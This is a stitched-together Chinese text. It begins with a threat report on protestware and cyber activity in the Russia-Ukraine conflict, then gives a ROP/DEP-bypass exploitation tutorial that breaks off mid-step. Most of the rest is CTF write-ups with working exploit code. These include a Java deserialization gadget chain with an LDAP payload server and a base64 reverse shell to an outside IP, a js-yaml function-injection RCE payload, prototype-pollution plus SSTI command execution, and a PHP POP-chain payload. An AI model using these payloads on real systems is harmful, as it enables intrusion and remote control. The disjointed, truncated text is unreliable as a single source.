開源軟件武器化開源軟件有很多好處。首先,它通常是免費使用的,這意味著企業和個人可以節省軟件成本。然而,由於任何人都可以對代碼做出貢獻並進行改進,這也可能被濫用,進而打開安全陷阱門。另一方面,由於代碼可以公開檢查任何潛在的安全漏洞,這也意味著只要有足夠的審查,使用開源軟件的風險可以降低到合適的水平。

早在3月,流行的npm包“node ipc”的開發者RIAEvangelist發布了該軟件的修改版本,如果運行的系統具有俄羅斯或白俄羅斯的IP地址,則該軟件包含特殊功能。在這樣的系統上,代碼將用一個心形表情符號覆蓋所有文件,另外部署來自同一開發人員創建的另一個模塊的消息with - love - from - america .txt。 node-ipc包在全球擁有超過80萬用戶。與開源軟件通常的情況一樣,部署這些修改過的“node-ipc”版本的效果並不僅限於直接用戶,其他開源軟件包,例如“Vue.js”,自動包含最新的node-ipc版本,放大了效果。

旨在俄羅斯市場傳播的軟件包並不總是會導致文件被破壞,其中一些包含隱藏功能,例如在軟件網站的某個部分添加烏克蘭國旗或支持該國的政治聲明。在某些情況下,該軟件包的功能被刪除,並被政治通知所取代。值得注意的是,並不是所有的包都隱藏了這個功能,一些開發者在軟件包描述中宣布了這個功能。

11.png

其中一個項目鼓勵傳播一個文件,該文件一旦打開,就會開始通過JavaScript訪問註冊服務器的各個頁面,從而使網站過載。

GitHub上發現的其他存儲庫和軟件模塊包括專門為DDoS俄羅斯政府、銀行和媒體網站創建的存儲庫,專門用於收集俄羅斯基礎設施和活動數據的網絡掃描儀。

隨著衝突的持續,流行的開源軟件包可以被開發人員或黑客用作抗議或攻擊平台;

這種攻擊的影響可以進一步擴展到開源軟件本身,傳播到其他自動依賴木馬代碼的軟件包;

市場撕裂在過去的幾年中,尤其是2014年之後,這一過程開始擴展到IT安全領域,國家通過法律禁止彼此的產品、服務和公司。自2022年2月俄烏衝突爆發以來,我們看到許多西方公司退出俄羅斯市場,讓他們的用戶在獲得安全更新或支持方面陷入困境。與此同時,一些西方國家推動法律禁止使用俄羅斯軟件和服務,因為這些軟件和服務有被用於發動攻擊的潛在風險。顯然,不能完全排除政治壓力將一些小市場主體的產品、技術和服務武器化的可能性。然而,當涉及到全球市場領導者和受人尊敬的供應商時,我們認為這是極不可能的。

另一方面,尋找替代解決方案可能是極其複雜的。我們經常發現,來自本地供應商的產品的安全開發文化通常明顯不如全球領先企業,它們很可能存在顯而易見安全錯誤和零日漏洞,使它們很容易成為網絡犯罪分子和黑客活動分子的獵物。

網絡攻擊對戰爭結果的影響地緣政治正在發揮重要作用,分裂的進程可能會擴大;

當供應商終止對產品的支持或退出市場時,安全更新可能是首要問題;

用本地產品取代成熟的全球領導者,可能會為利用零日漏洞的網絡犯罪分子打開大門;

網絡戰爭會爆發嗎?自俄烏衝突開始以來,網絡安全界一直在爭論烏克蘭發生的事情是否屬於“網絡戰爭”。一個不爭的事實是,衝突爆發時確實發生了重大網絡活動。

另一方面,許多觀察家認為,在發生衝突的情況下,先發製人的網絡攻擊會讓自己佔據主動。但事實上,除了Viasat事件(其實際影響仍難以評估)之外,這一事件根本沒有發生。這場衝突反而揭示了網絡力量和實際戰場之間缺乏協調,並在許多方面將網絡攻擊降格為從屬角色。在衝突的最初幾週觀察到勒索軟件攻擊,充其量只能算是乾擾。後來,當今年11月衝突升級,烏克蘭基礎設施(尤其是能源網絡)明確成為目標後,很明顯,俄羅斯軍方選擇的工具是導彈,而不是網絡攻擊。

如果你認同網絡戰爭的定義,即通過網絡手段支持的任何動態衝突,無論其戰術或戰略價值如何,那麼2022年2月確實發生了一場網絡戰爭。

網絡攻擊對戰爭結果的影響遠沒有想像的那麼大,事實證明,對計算機的物理破壞似乎更容易、更便宜、更可靠。我們認為,網絡攻擊在戰爭背景下的效果以前被我們大大高估了。

總結俄烏衝突將對整個網絡安全行業和環境產生持久影響。無論“網絡戰爭”一詞是否適用,不可否認的是,當一個大國捲入戰爭時,衝突將永遠改變每個人對戰時網絡活動的期望。

在戰爭爆發之前,幾個正在進行的多方進程(聯合國OEWG和GGE)試圖就網絡空間中可接受和負責任的行為達成共識。鑑於全球目前所經歷的極端地緣政治緊張局勢,這些本已艱難的討論能否在不久的將來取得成果令人懷疑。

DEP(數據執行保護)是一種內存保護功能,允許系統將內存頁標記為不可執行。 ROP(面向返回的編程)是一種利用技術,允許攻擊者在啟用DEP等保護的情況下執行shellcode。在這篇文章中,我們將介紹應用程序的逆向過程,以發現緩衝區溢出漏洞,並開髮用於繞過DEP的ROP小工具鏈(Gadget Chain)。

我們將在開發過程中使用以下工具:QuoteDB、TCPView(一個查看端口和線程的小工具,只要木馬在內存中運行,一定會打開某個端口,只要黑客進入你的電腦,就有新的線程)、IDA Freeware、WinDbg(在windows平台下,強大的用戶態和內核態調試工具)和rp++。

QuoteDB是一個設計上易受攻擊的應用程序,創建它是為了實踐逆向工程並利用它進行開發。如下圖所示,該應用程序正在偵聽端口3700上的網絡連接:

1.jpg

我們已經使用TCPView確認程序確實在監聽端口3700。

2.jpg

現在我們需要對應用程序進行逆向工程,看看它是如何處理網絡連接的。 accept函數用於允許指定端口上的傳入連接,然後進程創建一個運行“handle_connection”例程的新線程,如下所示:

3.jpg

recv函數用於從連接的套接字接收數據:

4.jpg

我們已經開發了一個基本的Python腳本,它創建一個TCP套接字,並在端口3700上向遠程服務器發送1000個“a”字符:

5.jpg

我們已將WinDbg附加到QuoteDB.exe進程,並列出了加載的模塊,如下圖所示。

6.jpg

我們可以使用“bp”命令在recv函數調用後放置斷點,使用“bl”命令確認斷點已成功設置:

7.jpg

recv函數返回後,EAX寄存器包含以十六進制接收的字節數:

8.jpg

緩衝區的前4個字節表示一個操作碼,該操作碼被移到EAX寄存器中,然後打印在命令行中:

9.jpg

下圖顯示了WinDbg中的printf調用,我們可以觀察到第三個參數(=Opcode)由4個“A”字符組成:

10.jpg

該進程顯示源IP地址、源端口、緩衝區長度和十進制的操作碼:

11.jpg

應用程序從Opcode中減去0x384(十進制900),並將結果與4進行比較。這是一個帶有5個示例的開關,也顯示在下圖中。

12.jpg

EAX寄存器大於4,執行流被重定向到默認情況,該情況調用“log_bad_request”函數:

13.jpg

上述函數包含緩衝區溢出漏洞,如下圖所示,可執行文件在堆棧上分配0x818(2072)字節,用0初始化緩衝區,並在不檢查邊界的情況下將有效負載複製到此緩衝區:

14.jpg

發生溢出是因為要復制的字符數(0x4000)大於緩衝區的大小,並且可能會重寫返回地址:

15.jpg

我們選擇發送3000個“A”字符以利用該漏洞。如下所示,返回地址在堆棧上被重寫,程序因此崩潰:

16.jpg

17.jpg

我們使用了“msf-pattern_create”命令來生成一個唯一的模式,該模式將為我們提供偏移量。

18-1536x180.jpg

應用程序在不同的地址崩潰,該地址用於使用“msf-pattern_offset”命令確定精確的偏移量:

19.jpg

20.jpg

我們修改了概念證明,以包括上述偏移量。在正確的地址崩潰後,ESP寄存器指向我們控制的緩衝區的最後一部分:

21.jpg

22.jpg

我們使用了narly WinDbg擴展來顯示加載的模塊及其內存保護,下圖顯示了該可執行文件是在啟用ASLR和DEP保護的情況下編譯的。

23.jpg

Windows Defender Exploit Guard可以用來啟用/禁用ASLR。我們需要進入“Exploit protection settings”,選擇“Program settings”頁簽,點擊“Add Program to custom”,選擇“Choose exact file path”選項:

24.jpg

25.jpg

我們想通過發送從“\x00”到“\xFF”的所有字節並確定它們如何寫入堆棧來找出哪些字符被認為是“不適合”的:

26-1.jpg

如下圖所示,沒有不適合的字符,不過為了研究,我們將“\x00”視為不適合字符,因為它通常是不適合字符。正因為如此,漏洞開發過程稍微複雜一些,但它可能更容易適應其他應用程序。

27.jpg

我們使用rp++工具從“SysWOW64\kernel32.dll”模塊中提取ROP小工具,因為ASLR是禁用的,所以我們可以選擇任何提供必要ROP小工具的DLL,但是,我們將在以後的文章中看到應用程序洩漏特定DLL中的地址。我們已將小工具中的最大指令數設置為5:

28.jpg

29.jpg

由於DEP保護,堆棧不再是可執行的,我們需要找到執行shellcode的方法。我們可以使用VirtualAlloc、VirtualProtect和WriteProcessMemory等API來繞過DEP。 VirtualAlloc函數用於保留、提交或更改進程地址空間中頁面的狀態。該函數有4個參數:

lpAddress

dwSize

flAllocationType

flProtect

我們的目的是將flAllocationType參數設置為0x1000(MEM_COMMIT),將flProtect設置為0x40(PAGE_EXECUTE_READWRITE)。我們需要在堆棧上創建以下框架:

VirtualAllocaddress

Returnaddress(Shellcodeaddress)

lpAddress(Shellcodeaddress)

dwSize(0x1)

flAllocationType(0x1000)

flProtect(0x40)

我們為每個元素分配了一個特定的值,需要在運行時使用正確的值對其進行修改。

30-1.jpg

如下圖所示,可以在ESP寄存器的固定偏移處找到框架:

31.jpg

kernel32.dll模塊的起始地址可以使用WinDbg來標識。所有ROP小工具的地址必須使用該值而不是“ROP.txt”文件中的加載地址來計算:

32.jpg

首先,我們需要找到一個保存ESP寄存器值的ROP小工具。我們確定了一個將ESP寄存器複製到ESI寄存器的寄存器:

33.jpg

我們修改了Python腳本,以包含kernel32地址和上述ROP小工具偏移量,如下所示:

34-1.jpg

我們已經成功地將執行流程重定向到我們的第一個ROP小工具,接著將其他ROP小工具鏈接在一起,因為ESP仍然指向我們的緩衝區:

35.jpg

36.jpg

現在我們需要找到從ESI寄存器中減去0x1C的方法。然而,由於缺少涉及使用ESI寄存器進行計算的ROP小工具,我們找到了一個將ESI寄存器複製到EAX中的ROP小工具。唯一的問題是ESI也被“POP ESI”指令修改,但是,它不會影響我們的利用:

37.jpg

38.jpg

在許多ROP小工具中發現的另一個寄存器是ECX。我們已經確定了一個ROP小工具,它從堆棧中彈出一個值到ECX寄存器中,另一個小工具將EAX和ECX寄存器加在一起。加上負值等於減去相同的正值:

39.jpg

40.jpg

通過在之前的EAX值上添加-0x1C (=ECX)值,EAX指向VirtualAlloc框架:

41.jpg

因為EAX在任何計算中都很有用,所以我們需要在執行任何其他操作之前找到保存它的方法。我們發現了一個ROP小工具,它將EAX寄存器複製到ECX中,ECX將用於修改框架中的值。事實上,EAX也被這個ROP小工具修改了,但這並不影響我們的利用:

42.jpg

我們修改後的概念證明如下圖所示。 “junk”值對堆棧對齊很有用,對應於“POP reg”和“retn4”指令。

43.jpg

再次運行Python腳本後,我們可以觀察到ECX寄存器的值與之前的EAX寄存器相同,並指向VirtualAlloc框架:

44.jpg

IAT(導入地址表)包含指向由其他DLL導出的函數的指針。例如,kernel32.dll在VirtualAlloc的IAT中有一個條目,即使VirtualAlloc實際地址發生變化,該條目也保持不變:

45.jpg

我們使用了“POP EAX”指令將VirtualAlloc IAT複製到EAX寄存器中,需要對其進行解除引用才能獲得VirtualAlloc地址,如下所示:

46.jpg

47.jpg

在更新Python腳本並再次運行之後,我們成功地獲得了EAX中的VirtualAlloc地址:

web

ai_java

首先通过附件帐号信件获取到帐号
image.png
image.png
通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址
image.png
查找提交历史我们发现了源码
image.png
审计源码发现为 可能存在spring–boot 未授权绕过
image.png
在admin的页面下的/post_message/接口存在fastjson解析
image.png

image.png
查看具体版本发现无法直接ladp攻击,查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.
image.png
image.png
image.png

 

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么
image.png
发现能解析方法
image.png
js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
image.png
然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

  • 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
  • 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
  • 读源码

5.代码审计

image.png

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
image.png

这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

image.png
此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!
ac96bbdda6fc47f443ea66c992fe1300.png

 

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

image-20231105160341904.png

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
python2 md5.py "666" 0 

image-20231118204400660.png
三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:
image.png
或者用DirectoryIterator类:
image.png

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
